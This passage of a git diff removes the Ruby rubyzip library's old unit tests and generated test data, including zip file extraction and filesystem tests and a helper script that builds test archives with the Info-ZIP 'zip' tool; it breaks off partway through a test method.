end - - def test_commit - newName = "renamedFirst" - zf = ZipFile.new(TEST_ZIP.zipName) - oldName = zf.entries.first - zf.rename(oldName, newName) - zf.commit - - zfRead = ZipFile.new(TEST_ZIP.zipName) - assert(zfRead.entries.detect { |e| e.name == newName } != nil) - assert(zfRead.entries.detect { |e| e.name == oldName } == nil) - zfRead.close - - zf.close - end - - # This test tests that after commit, you - # can delete the file you used to add the entry to the zip file - # with - def test_commitUseZipEntry - File.copy(TestFiles::RANDOM_ASCII_FILE1, "okToDelete.txt") - zf = ZipFile.open(TEST_ZIP.zipName) - zf.add("okToDelete.txt", "okToDelete.txt") - assertContains(zf, "okToDelete.txt") - zf.commit - File.move("okToDelete.txt", "okToDeleteMoved.txt") - assertContains(zf, "okToDelete.txt", "okToDeleteMoved.txt") - end - -# def test_close -# zf = ZipFile.new(TEST_ZIP.zipName) -# zf.close -# assert_exception(IOError) { -# zf.extract(TEST_ZIP.entryNames.first, "hullubullu") -# } -# end - - def test_compound1 - renamedName = "renamedName" - originalEntries = [] - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - assertNotContains(zf, TestFiles::RANDOM_ASCII_FILE1) - zf.add(TestFiles::RANDOM_ASCII_FILE1, - TestFiles::RANDOM_ASCII_FILE1) - assertContains(zf, TestFiles::RANDOM_ASCII_FILE1) - - zf.rename(zf.entries[0], renamedName) - assertContains(zf, renamedName) - - TestFiles::BINARY_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - - assertContains(zf, originalEntries.last.to_s) - zf.remove(originalEntries.last.to_s) - assertNotContains(zf, originalEntries.last.to_s) - - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - assertContains(zfRead, TestFiles::RANDOM_ASCII_FILE1) - assertContains(zfRead, renamedName) - TestFiles::BINARY_TEST_FILES.each { - |filename| - assertContains(zfRead, filename) - } - assertNotContains(zfRead, originalEntries.last.to_s) - ensure - zfRead.close - end - end - - def test_compound2 - begin - zf = ZipFile.new(TEST_ZIP.zipName) - originalEntries = zf.entries.dup - - originalEntries.each { - |entry| - zf.remove(entry) - assertNotContains(zf, entry) - } - assert(zf.entries.empty?) - - TestFiles::ASCII_TEST_FILES.each { - |filename| - zf.add(filename, filename) - assertContains(zf, filename) - } - assert_equals(zf.entries.map { |e| e.name }, TestFiles::ASCII_TEST_FILES) - - zf.rename(TestFiles::ASCII_TEST_FILES[0], "newName") - assertNotContains(zf, TestFiles::ASCII_TEST_FILES[0]) - assertContains(zf, "newName") - ensure - zf.close - end - begin - zfRead = ZipFile.new(TEST_ZIP.zipName) - asciiTestFiles = TestFiles::ASCII_TEST_FILES.dup - asciiTestFiles.shift - asciiTestFiles.each { - |filename| - assertContains(zf, filename) - } - - assertContains(zf, "newName") - ensure - zfRead.close - end - end - - private - def assertContains(zf, entryName, filename = entryName) - assert(zf.entries.detect { |e| e.name == entryName} != nil, "entry #{entryName} not in #{zf.entries.join(', ')} in zip file #{zf}") - assertEntryContents(zf, entryName, filename) if File.exists?(filename) - end - - def assertNotContains(zf, entryName) - assert(zf.entries.detect { |e| e.name == entryName} == nil, "entry #{entryName} in #{zf.entries.join(', ')} in zip file #{zf}") - end -end - -class ZipFileExtractTest < CommonZipFileFixture - EXTRACTED_FILENAME = "extEntry" - ENTRY_TO_EXTRACT, *REMAINING_ENTRIES = TEST_ZIP.entryNames.reverse - - def setup - super - File.delete(EXTRACTED_FILENAME) if File.exists?(EXTRACTED_FILENAME) - end - - def test_extract - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(ENTRY_TO_EXTRACT, EXTRACTED_FILENAME) - - assert(File.exists? EXTRACTED_FILENAME) - AssertEntry::assertContents(EXTRACTED_FILENAME, - zf.getInputStream(ENTRY_TO_EXTRACT) { |is| is.read }) - } - end - - def test_extractExists - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - assert_exception(ZipDestinationFileExistsError) { - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) - } - } - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert_equals(writtenText, f.read) - } - end - - def test_extractExistsOverwrite - writtenText = "written text" - File.open(EXTRACTED_FILENAME, "w") { |f| f.write(writtenText) } - - gotCalled = false - ZipFile.open(TEST_ZIP.zipName) { - |zf| - zf.extract(zf.entries.first, EXTRACTED_FILENAME) { gotCalled = true; true } - } - - assert(gotCalled) - File.open(EXTRACTED_FILENAME, "r") { - |f| - assert(writtenText != f.read) - } - end - - def test_extractNonEntry - zf = ZipFile.new(TEST_ZIP.zipName) - assert_exception(ZipNoSuchEntryError) { zf.extract("nonExistingEntry", "nonExistingEntry") } - ensure - zf.close if zf - end - - def test_extractNonEntry2 - outFile = "outfile" - assert_exception(ZipNoSuchEntryError) { - zf = ZipFile.new(TEST_ZIP.zipName) - nonEntry = "hotdog-diddelidoo" - assert(! zf.entries.include?(nonEntry)) - zf.extract(nonEntry, outFile) - zf.close - } - assert(! File.exists?(outFile)) - end - -end - -class ZipFileExtractDirectoryTest < CommonZipFileFixture - TEST_OUT_NAME = "emptyOutDir" - - def openZip(&aProc) - assert(aProc != nil) - ZipFile.open(TestZipFile::TEST_ZIP4.zipName, &aProc) - end - - def extractTestDir(&aProc) - openZip { - |zf| - zf.extract(TestFiles::EMPTY_TEST_DIR, TEST_OUT_NAME, &aProc) - } - end - - def setup - super - - Dir.rmdir(TEST_OUT_NAME) if File.directory? TEST_OUT_NAME - File.delete(TEST_OUT_NAME) if File.exists? TEST_OUT_NAME - end - - def test_extractDirectory - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsDir - Dir.mkdir TEST_OUT_NAME - extractTestDir - assert(File.directory? TEST_OUT_NAME) - end - - def test_extractDirectoryExistsAsFile - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - assert_exception(ZipDestinationFileExistsError) { extractTestDir } - end - - def test_extractDirectoryExistsAsFileOverwrite - File.open(TEST_OUT_NAME, "w") { |f| f.puts "something" } - gotCalled = false - extractTestDir { - |entry, destPath| - gotCalled = true - assert_equals(TEST_OUT_NAME, destPath) - assert(entry.isDirectory) - true - } - assert(gotCalled) - assert(File.directory? TEST_OUT_NAME) - end -end - - -TestFiles::createTestFiles(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -TestZipFile::createTestZips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) -exit if ARGV.index("recreateonly") != nil - -#require 'runit/cui/testrunner' -#RUNIT::CUI::TestRunner.run(ZipFileTest.suite) - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/data/generated/longBinary.bin b/lib/zip/test/data/generated/longBinary.bin deleted file mode 100644 index df673254c4..0000000000 Binary files a/lib/zip/test/data/generated/longBinary.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomAscii1.txt b/lib/zip/test/data/generated/randomAscii1.txt deleted file mode 100644 index b2b472a203..0000000000 --- a/lib/zip/test/data/generated/randomAscii1.txt +++ /dev/null @@ -1 +0,0 @@ -0.040244959211864 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii2.txt b/lib/zip/test/data/generated/randomAscii2.txt deleted file mode 100644 index 64dc85e2c4..0000000000 --- a/lib/zip/test/data/generated/randomAscii2.txt +++ /dev/null @@ -1 +0,0 @@ -0.917381580665493 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomAscii3.txt b/lib/zip/test/data/generated/randomAscii3.txt deleted file mode 100644 index c7f3a83bff..0000000000 --- a/lib/zip/test/data/generated/randomAscii3.txt +++ /dev/null @@ -1 +0,0 @@ -0.670572209005379 \ No newline at end of file diff --git a/lib/zip/test/data/generated/randomBinary1.bin b/lib/zip/test/data/generated/randomBinary1.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary1.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/randomBinary2.bin b/lib/zip/test/data/generated/randomBinary2.bin deleted file mode 100644 index 593f4708db..0000000000 Binary files a/lib/zip/test/data/generated/randomBinary2.bin and /dev/null differ diff --git a/lib/zip/test/data/generated/short.txt b/lib/zip/test/data/generated/short.txt deleted file mode 100644 index 1c5f8ba2db..0000000000 --- a/lib/zip/test/data/generated/short.txt +++ /dev/null @@ -1 +0,0 @@ -ABCDEF \ No newline at end of file diff --git a/lib/zip/test/data/generated/test1.zip b/lib/zip/test/data/generated/test1.zip deleted file mode 100644 index 2ce05cedf4..0000000000 Binary files a/lib/zip/test/data/generated/test1.zip and /dev/null differ diff --git a/lib/zip/test/data/generated/zipWithDir.zip b/lib/zip/test/data/generated/zipWithDir.zip deleted file mode 100644 index 476120bff1..0000000000 Binary files a/lib/zip/test/data/generated/zipWithDir.zip and /dev/null differ diff --git a/lib/zip/test/data/notzippedruby.rb b/lib/zip/test/data/notzippedruby.rb deleted file mode 100755 index 036d25e92c..0000000000 --- a/lib/zip/test/data/notzippedruby.rb +++ /dev/null @@ -1,7 +0,0 @@ -#!/usr/bin/env ruby - -class NotZippedRuby - def returnTrue - true - end -end diff --git a/lib/zip/test/data/rubycode.zip b/lib/zip/test/data/rubycode.zip deleted file mode 100644 index 8a68560e63..0000000000 Binary files a/lib/zip/test/data/rubycode.zip and /dev/null differ diff --git a/lib/zip/test/data/rubycode2.zip b/lib/zip/test/data/rubycode2.zip deleted file mode 100644 index 8e1cd08f2d..0000000000 Binary files a/lib/zip/test/data/rubycode2.zip and /dev/null differ diff --git a/lib/zip/test/data/testDirectory.bin b/lib/zip/test/data/testDirectory.bin deleted file mode 100644 index cbdb9f7d74..0000000000 Binary files a/lib/zip/test/data/testDirectory.bin and /dev/null differ diff --git a/lib/zip/test/data/zipWithDirs.zip b/lib/zip/test/data/zipWithDirs.zip deleted file mode 100644 index 4b01f011ae..0000000000 Binary files a/lib/zip/test/data/zipWithDirs.zip and /dev/null differ diff --git a/lib/zip/test/gentestfiles.rb b/lib/zip/test/gentestfiles.rb deleted file mode 100755 index 45116ec5b5..0000000000 --- a/lib/zip/test/gentestfiles.rb +++ /dev/null @@ -1,160 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -class TestFiles - RANDOM_ASCII_FILE1 = "data/generated/randomAscii1.txt" - RANDOM_ASCII_FILE2 = "data/generated/randomAscii2.txt" - RANDOM_ASCII_FILE3 = "data/generated/randomAscii3.txt" - RANDOM_BINARY_FILE1 = "data/generated/randomBinary1.bin" - RANDOM_BINARY_FILE2 = "data/generated/randomBinary2.bin" - - EMPTY_TEST_DIR = "data/generated/emptytestdir" - - ASCII_TEST_FILES = [ RANDOM_ASCII_FILE1, RANDOM_ASCII_FILE2, RANDOM_ASCII_FILE3 ] - BINARY_TEST_FILES = [ RANDOM_BINARY_FILE1, RANDOM_BINARY_FILE2 ] - TEST_DIRECTORIES = [ EMPTY_TEST_DIR ] - TEST_FILES = [ ASCII_TEST_FILES, BINARY_TEST_FILES, EMPTY_TEST_DIR ].flatten! - - def TestFiles.create_test_files(recreate) - if (recreate || - ! (TEST_FILES.inject(true) { |accum, element| accum && File.exists?(element) })) - - Dir.mkdir "data/generated" rescue Errno::EEXIST - - ASCII_TEST_FILES.each_with_index { - |filename, index| - create_random_ascii(filename, 1E4 * (index+1)) - } - - BINARY_TEST_FILES.each_with_index { - |filename, index| - create_random_binary(filename, 1E4 * (index+1)) - } - - ensure_dir(EMPTY_TEST_DIR) - end - end - - private - def TestFiles.create_random_ascii(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << rand - end - } - end - - def TestFiles.create_random_binary(filename, size) - File.open(filename, "wb") { - |file| - while (file.tell < size) - file << [rand].pack("V") - end - } - end - - def TestFiles.ensure_dir(name) - if File.exists?(name) - return if File.stat(name).directory? - File.delete(name) - end - Dir.mkdir(name) - end - -end - - - -# For representation and creation of -# test data -class TestZipFile - attr_accessor :zip_name, :entry_names, :comment - - def initialize(zip_name, entry_names, comment = "") - @zip_name=zip_name - @entry_names=entry_names - if "".respond_to? :force_encoding - @entry_names.each {|name| name.force_encoding("ASCII-8BIT")} - end - @comment = comment - end - - def TestZipFile.create_test_zips(recreate) - files = Dir.entries("data/generated") - if (recreate || - ! (files.index(File.basename(TEST_ZIP1.zip_name)) && - files.index(File.basename(TEST_ZIP2.zip_name)) && - files.index(File.basename(TEST_ZIP3.zip_name)) && - files.index(File.basename(TEST_ZIP4.zip_name)) && - files.index("empty.txt") && - files.index("empty_chmod640.txt") && - files.index("short.txt") && - files.index("longAscii.txt") && - files.index("longBinary.bin") )) - raise "failed to create test zip '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} data/file2.txt") - raise "failed to remove entry from '#{TEST_ZIP1.zip_name}'" unless - system("zip #{TEST_ZIP1.zip_name} -d data/file2.txt") - - File.open("data/generated/empty.txt", "w") {} - File.open("data/generated/empty_chmod640.txt", "w") { |f| f.chmod(0640) } - - File.open("data/generated/short.txt", "w") { |file| file << "ABCDEF" } - ziptestTxt="" - File.open("data/file2.txt") { |file| ziptestTxt=file.read } - File.open("data/generated/longAscii.txt", "w") { - |file| - while (file.tell < 1E5) - file << ziptestTxt - end - } - - testBinaryPattern="" - File.open("data/generated/empty.zip") { |file| testBinaryPattern=file.read } - testBinaryPattern *= 4 - - File.open("data/generated/longBinary.bin", "wb") { - |file| - while (file.tell < 3E5) - file << testBinaryPattern << rand << "\0" - end - } - raise "failed to create test zip '#{TEST_ZIP2.zip_name}'" unless - system("zip #{TEST_ZIP2.zip_name} #{TEST_ZIP2.entry_names.join(' ')}") - - # without bash system interprets everything after echo as parameters to - # echo including | zip -z ... - raise "failed to add comment to test zip '#{TEST_ZIP2.zip_name}'" unless - system("bash -c \"echo #{TEST_ZIP2.comment} | zip -z #{TEST_ZIP2.zip_name}\"") - - raise "failed to create test zip '#{TEST_ZIP3.zip_name}'" unless - system("zip #{TEST_ZIP3.zip_name} #{TEST_ZIP3.entry_names.join(' ')}") - - raise "failed to create test zip '#{TEST_ZIP4.zip_name}'" unless - system("zip #{TEST_ZIP4.zip_name} #{TEST_ZIP4.entry_names.join(' ')}") - end - rescue - raise $!.to_s + - "\n\nziptest.rb requires the Info-ZIP program 'zip' in the path\n" + - "to create test data. If you don't have it you can download\n" + - "the necessary test files at http://sf.net/projects/rubyzip." - end - - TEST_ZIP1 = TestZipFile.new("data/generated/empty.zip", []) - TEST_ZIP2 = TestZipFile.new("data/generated/5entry.zip", %w{ data/generated/longAscii.txt data/generated/empty.txt data/generated/empty_chmod640.txt data/generated/short.txt data/generated/longBinary.bin}, - "my zip comment") - TEST_ZIP3 = TestZipFile.new("data/generated/test1.zip", %w{ data/file1.txt }) - TEST_ZIP4 = TestZipFile.new("data/generated/zipWithDir.zip", [ "data/file1.txt", - TestFiles::EMPTY_TEST_DIR]) -end - - -END { - TestFiles::create_test_files(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - TestZipFile::create_test_zips(ARGV.index("recreate") != nil || - ARGV.index("recreateonly") != nil) - exit if ARGV.index("recreateonly") != nil -} diff --git a/lib/zip/test/ioextrastest.rb b/lib/zip/test/ioextrastest.rb deleted file mode 100755 index b18e9db987..0000000000 --- a/lib/zip/test/ioextrastest.rb +++ /dev/null @@ -1,208 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ioextras' - -include IOExtras - -class FakeIOTest < Test::Unit::TestCase - class FakeIOUsingClass - include FakeIO - end - - def test_kind_of? - obj = FakeIOUsingClass.new - - assert(obj.kind_of?(Object)) - assert(obj.kind_of?(FakeIOUsingClass)) - assert(obj.kind_of?(IO)) - assert(!obj.kind_of?(Fixnum)) - assert(!obj.kind_of?(String)) - end -end - -class AbstractInputStreamTest < Test::Unit::TestCase - # AbstractInputStream subclass that provides a read method - - TEST_LINES = [ "Hello world#{$/}", - "this is the second line#{$/}", - "this is the last line"] - TEST_STRING = TEST_LINES.join - class TestAbstractInputStream - include AbstractInputStream - def initialize(aString) - super() - @contents = aString - @readPointer = 0 - end - - def read(charsToRead) - retVal=@contents[@readPointer, charsToRead] - @readPointer+=charsToRead - return retVal - end - - def produce_input - read(100) - end - - def input_finished? - @contents[@readPointer] == nil - end - end - - def setup - @io = TestAbstractInputStream.new(TEST_STRING) - end - - def test_gets - assert_equal(TEST_LINES[0], @io.gets) - assert_equal(1, @io.lineno) - assert_equal(TEST_LINES[1], @io.gets) - assert_equal(2, @io.lineno) - assert_equal(TEST_LINES[2], @io.gets) - assert_equal(3, @io.lineno) - assert_equal(nil, @io.gets) - assert_equal(4, @io.lineno) - end - - def test_getsMultiCharSeperator - assert_equal("Hell", @io.gets("ll")) - assert_equal("o world#{$/}this is the second l", @io.gets("d l")) - end - - def test_each_line - lineNumber=0 - @io.each_line { - |line| - assert_equal(TEST_LINES[lineNumber], line) - lineNumber+=1 - } - end - - def test_readlines - assert_equal(TEST_LINES, @io.readlines) - end - - def test_readline - test_gets - begin - @io.readline - fail "EOFError expected" - rescue EOFError - end - end -end - -class AbstractOutputStreamTest < Test::Unit::TestCase - class TestOutputStream - include AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def setup - @outputStream = TestOutputStream.new - - @origCommaSep = $, - @origOutputSep = $\ - end - - def teardown - $, = @origCommaSep - $\ = @origOutputSep - end - - def test_write - count = @outputStream.write("a little string") - assert_equal("a little string", @outputStream.buffer) - assert_equal("a little string".length, count) - - count = @outputStream.write(". a little more") - assert_equal("a little string. a little more", @outputStream.buffer) - assert_equal(". a little more".length, count) - end - - def test_print - $\ = nil # record separator set to nil - @outputStream.print("hello") - assert_equal("hello", @outputStream.buffer) - - @outputStream.print(" world.") - assert_equal("hello world.", @outputStream.buffer) - - @outputStream.print(" You ok ", "out ", "there?") - assert_equal("hello world. You ok out there?", @outputStream.buffer) - - $\ = "\n" - @outputStream.print - assert_equal("hello world. You ok out there?\n", @outputStream.buffer) - - @outputStream.print("I sure hope so!") - assert_equal("hello world. You ok out there?\nI sure hope so!\n", @outputStream.buffer) - - $, = "X" - @outputStream.buffer = "" - @outputStream.print("monkey", "duck", "zebra") - assert_equal("monkeyXduckXzebra\n", @outputStream.buffer) - - $\ = nil - @outputStream.buffer = "" - @outputStream.print(20) - assert_equal("20", @outputStream.buffer) - end - - def test_printf - @outputStream.printf("%d %04x", 123, 123) - assert_equal("123 007b", @outputStream.buffer) - end - - def test_putc - @outputStream.putc("A") - assert_equal("A", @outputStream.buffer) - @outputStream.putc(65) - assert_equal("AA", @outputStream.buffer) - end - - def test_puts - @outputStream.puts - assert_equal("\n", @outputStream.buffer) - - @outputStream.puts("hello", "world") - assert_equal("\nhello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts("hello\n", "world\n") - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"]) - assert_equal("hello\nworld\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(["hello\n", "world\n"], "bingo") - assert_equal("hello\nworld\nbingo\n", @outputStream.buffer) - - @outputStream.buffer = "" - @outputStream.puts(16, 20, 50, "hello") - assert_equal("16\n20\n50\nhello\n", @outputStream.buffer) - end -end - - -# Copyright (C) 2002-2004 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/stdrubyexttest.rb b/lib/zip/test/stdrubyexttest.rb deleted file mode 100755 index f11608f7f3..0000000000 --- a/lib/zip/test/stdrubyexttest.rb +++ /dev/null @@ -1,52 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/stdrubyext' - -class ModuleTest < Test::Unit::TestCase - - def test_select_map - assert_equal([2, 4, 8, 10], [1, 2, 3, 4, 5].select_map { |e| e == 3 ? nil : 2*e }) - end - -end - -class StringExtensionsTest < Test::Unit::TestCase - - def test_starts_with - assert("hello".starts_with("")) - assert("hello".starts_with("h")) - assert("hello".starts_with("he")) - assert(! "hello".starts_with("hello there")) - assert(! "hello".starts_with(" he")) - - assert_raise(TypeError, "type mismatch: NilClass given") { - "hello".starts_with(nil) - } - end - - def test_ends_with - assert("hello".ends_with("o")) - assert("hello".ends_with("lo")) - assert("hello".ends_with("hello")) - assert(!"howdy".ends_with("o")) - assert(!"howdy".ends_with("oy")) - assert(!"howdy".ends_with("howdy doody")) - assert(!"howdy".ends_with("doody howdy")) - end - - def test_ensure_end - assert_equal("hello!", "hello!".ensure_end("!")) - assert_equal("hello!", "hello!".ensure_end("o!")) - assert_equal("hello!", "hello".ensure_end("!")) - assert_equal("hello!", "hel".ensure_end("lo!")) - end -end - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/zipfilesystemtest.rb b/lib/zip/test/zipfilesystemtest.rb deleted file mode 100755 index f74e804696..0000000000 --- a/lib/zip/test/zipfilesystemtest.rb +++ /dev/null @@ -1,845 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'zip/zipfilesystem' -require 'test/unit' -require 'fileutils' - -module ExtraAssertions - - def assert_forwarded(anObject, method, retVal, *expectedArgs) - callArgs = nil - setCallArgsProc = proc { |args| callArgs = args } - anObject.instance_eval <<-"end_eval" - alias #{method}_org #{method} - def #{method}(*args) - ObjectSpace._id2ref(#{setCallArgsProc.object_id}).call(args) - ObjectSpace._id2ref(#{retVal.object_id}) - end - end_eval - - assert_equal(retVal, yield) # Invoke test - assert_equal(expectedArgs, callArgs) - ensure - anObject.instance_eval "undef #{method}; alias #{method} #{method}_org" - end - -end - -include Zip - -class ZipFsFileNonmutatingTest < Test::Unit::TestCase - def setup - @zipFile = ZipFile.new("data/zipWithDirs.zip") - end - - def teardown - @zipFile.close if @zipFile - end - - def test_umask - assert_equal(File.umask, @zipFile.file.umask) - @zipFile.file.umask(0006) - end - - def test_exists? - assert(! @zipFile.file.exists?("notAFile")) - assert(@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("dir1")) - assert(@zipFile.file.exists?("dir1/")) - assert(@zipFile.file.exists?("dir1/file12")) - assert(@zipFile.file.exist?("dir1/file12")) # notice, tests exist? alias of exists? ! - - @zipFile.dir.chdir "dir1/" - assert(!@zipFile.file.exists?("file1")) - assert(@zipFile.file.exists?("file12")) - end - - def test_open_read - blockCalled = false - @zipFile.file.open("file1", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.file.open("file1", "rb") { # test binary flag is ignored - |f| - blockCalled = true - assert_equal("this is the entry 'file1' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - - blockCalled = false - @zipFile.dir.chdir "dir2" - @zipFile.file.open("file21", "r") { - |f| - blockCalled = true - assert_equal("this is the entry 'dir2/file21' in my test archive!", - f.readline.chomp) - } - assert(blockCalled) - @zipFile.dir.chdir "/" - - assert_raise(Errno::ENOENT) { - @zipFile.file.open("noSuchEntry") - } - - begin - is = @zipFile.file.open("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - end - - def test_new - begin - is = @zipFile.file.new("file1") - assert_equal("this is the entry 'file1' in my test archive!", - is.readline.chomp) - ensure - is.close if is - end - begin - is = @zipFile.file.new("file1") { - fail "should not call block" - } - ensure - is.close if is - end - end - - def test_symlink - assert_raise(NotImplementedError) { - @zipFile.file.symlink("file1", "aSymlink") - } - end - - def test_size - assert_raise(Errno::ENOENT) { @zipFile.file.size("notAFile") } - assert_equal(72, @zipFile.file.size("file1")) - assert_equal(0, @zipFile.file.size("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size) - assert_equal(0, @zipFile.file.stat("dir2/dir21").size) - end - - def test_size? - assert_equal(nil, @zipFile.file.size?("notAFile")) - assert_equal(72, @zipFile.file.size?("file1")) - assert_equal(nil, @zipFile.file.size?("dir2/dir21")) - - assert_equal(72, @zipFile.file.stat("file1").size?) - assert_equal(nil, @zipFile.file.stat("dir2/dir21").size?) - end - - - def test_file? - assert(@zipFile.file.file?("file1")) - assert(@zipFile.file.file?("dir2/file21")) - assert(! @zipFile.file.file?("dir1")) - assert(! @zipFile.file.file?("dir1/dir11")) - - assert(@zipFile.file.stat("file1").file?) - assert(@zipFile.file.stat("dir2/file21").file?) - assert(! @zipFile.file.stat("dir1").file?) - assert(! @zipFile.file.stat("dir1/dir11").file?) - end - - include ExtraAssertions - - def test_dirname - assert_forwarded(File, :dirname, "retVal", "a/b/c/d") { - @zipFile.file.dirname("a/b/c/d") - } - end - - def test_basename - assert_forwarded(File, :basename, "retVal", "a/b/c/d") { - @zipFile.file.basename("a/b/c/d") - } - end - - def test_split - assert_forwarded(File, :split, "retVal", "a/b/c/d") { - @zipFile.file.split("a/b/c/d") - } - end - - def test_join - assert_equal("a/b/c", @zipFile.file.join("a/b", "c")) - assert_equal("a/b/c/d", @zipFile.file.join("a/b", "c/d")) - assert_equal("/c/d", @zipFile.file.join("", "c/d")) - assert_equal("a/b/c/d", @zipFile.file.join("a", "b", "c", "d")) - end - - def test_utime - t_now = Time.now - t_bak = @zipFile.file.mtime("file1") - @zipFile.file.utime(t_now, "file1") - assert_equal(t_now, @zipFile.file.mtime("file1")) - @zipFile.file.utime(t_bak, "file1") - assert_equal(t_bak, @zipFile.file.mtime("file1")) - end - - - def assert_always_false(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(! @zipFile.file.send(operation, "file1")) - assert(! @zipFile.file.send(operation, "dir1")) - assert(! @zipFile.file.stat("file1").send(operation)) - assert(! @zipFile.file.stat("dir1").send(operation)) - end - - def assert_true_if_entry_exists(operation) - assert(! @zipFile.file.send(operation, "noSuchFile")) - assert(@zipFile.file.send(operation, "file1")) - assert(@zipFile.file.send(operation, "dir1")) - assert(@zipFile.file.stat("file1").send(operation)) - assert(@zipFile.file.stat("dir1").send(operation)) - end - - def test_pipe? - assert_always_false(:pipe?) - end - - def test_blockdev? - assert_always_false(:blockdev?) - end - - def test_symlink? - assert_always_false(:symlink?) - end - - def test_socket? - assert_always_false(:socket?) - end - - def test_chardev? - assert_always_false(:chardev?) - end - - def test_truncate - assert_raise(StandardError, "truncate not supported") { - @zipFile.file.truncate("file1", 100) - } - end - - def assert_e_n_o_e_n_t(operation, args = ["NoSuchFile"]) - assert_raise(Errno::ENOENT) { - @zipFile.file.send(operation, *args) - } - end - - def test_ftype - assert_e_n_o_e_n_t(:ftype) - assert_equal("file", @zipFile.file.ftype("file1")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11")) - assert_equal("directory", @zipFile.file.ftype("dir1/dir11/")) - end - - def test_link - assert_raise(NotImplementedError) { - @zipFile.file.link("file1", "someOtherString") - } - end - - def test_directory? - assert(! @zipFile.file.directory?("notAFile")) - assert(! @zipFile.file.directory?("file1")) - assert(! @zipFile.file.directory?("dir1/file11")) - assert(@zipFile.file.directory?("dir1")) - assert(@zipFile.file.directory?("dir1/")) - assert(@zipFile.file.directory?("dir2/dir21")) - - assert(! @zipFile.file.stat("file1").directory?) - assert(! @zipFile.file.stat("dir1/file11").directory?) - assert(@zipFile.file.stat("dir1").directory?) - assert(@zipFile.file.stat("dir1/").directory?) - assert(@zipFile.file.stat("dir2/dir21").directory?) - end - - def test_chown - assert_equal(2, @zipFile.file.chown(1,2, "dir1", "file1")) - assert_equal(1, @zipFile.file.stat("dir1").uid) - assert_equal(2, @zipFile.file.stat("dir1").gid) - assert_equal(2, @zipFile.file.chown(nil, nil, "dir1", "file1")) - end - - def test_zero? - assert(! @zipFile.file.zero?("notAFile")) - assert(! @zipFile.file.zero?("file1")) - assert(@zipFile.file.zero?("dir1")) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.zero?("data/generated/empty.txt")) - } - assert(blockCalled) - - assert(! @zipFile.file.stat("file1").zero?) - assert(@zipFile.file.stat("dir1").zero?) - blockCalled = false - ZipFile.open("data/generated/5entry.zip") { - |zf| - blockCalled = true - assert(zf.file.stat("data/generated/empty.txt").zero?) - } - assert(blockCalled) - end - - def test_expand_path - ZipFile.open("data/zipWithDirs.zip") { - |zf| - assert_equal("/", zf.file.expand_path(".")) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.file.expand_path(".")) - assert_equal("/dir1/file12", zf.file.expand_path("file12")) - assert_equal("/", zf.file.expand_path("..")) - assert_equal("/dir2/dir21", zf.file.expand_path("../dir2/dir21")) - } - end - - def test_mtime - assert_equal(Time.at(1027694306), - @zipFile.file.mtime("dir2/file21")) - assert_equal(Time.at(1027690863), - @zipFile.file.mtime("dir2/dir21")) - assert_raise(Errno::ENOENT) { - @zipFile.file.mtime("noSuchEntry") - } - - assert_equal(Time.at(1027694306), - @zipFile.file.stat("dir2/file21").mtime) - assert_equal(Time.at(1027690863), - @zipFile.file.stat("dir2/dir21").mtime) - end - - def test_ctime - assert_nil(@zipFile.file.ctime("file1")) - assert_nil(@zipFile.file.stat("file1").ctime) - end - - def test_atime - assert_nil(@zipFile.file.atime("file1")) - assert_nil(@zipFile.file.stat("file1").atime) - end - - def test_readable? - assert(! @zipFile.file.readable?("noSuchFile")) - assert(@zipFile.file.readable?("file1")) - assert(@zipFile.file.readable?("dir1")) - assert(@zipFile.file.stat("file1").readable?) - 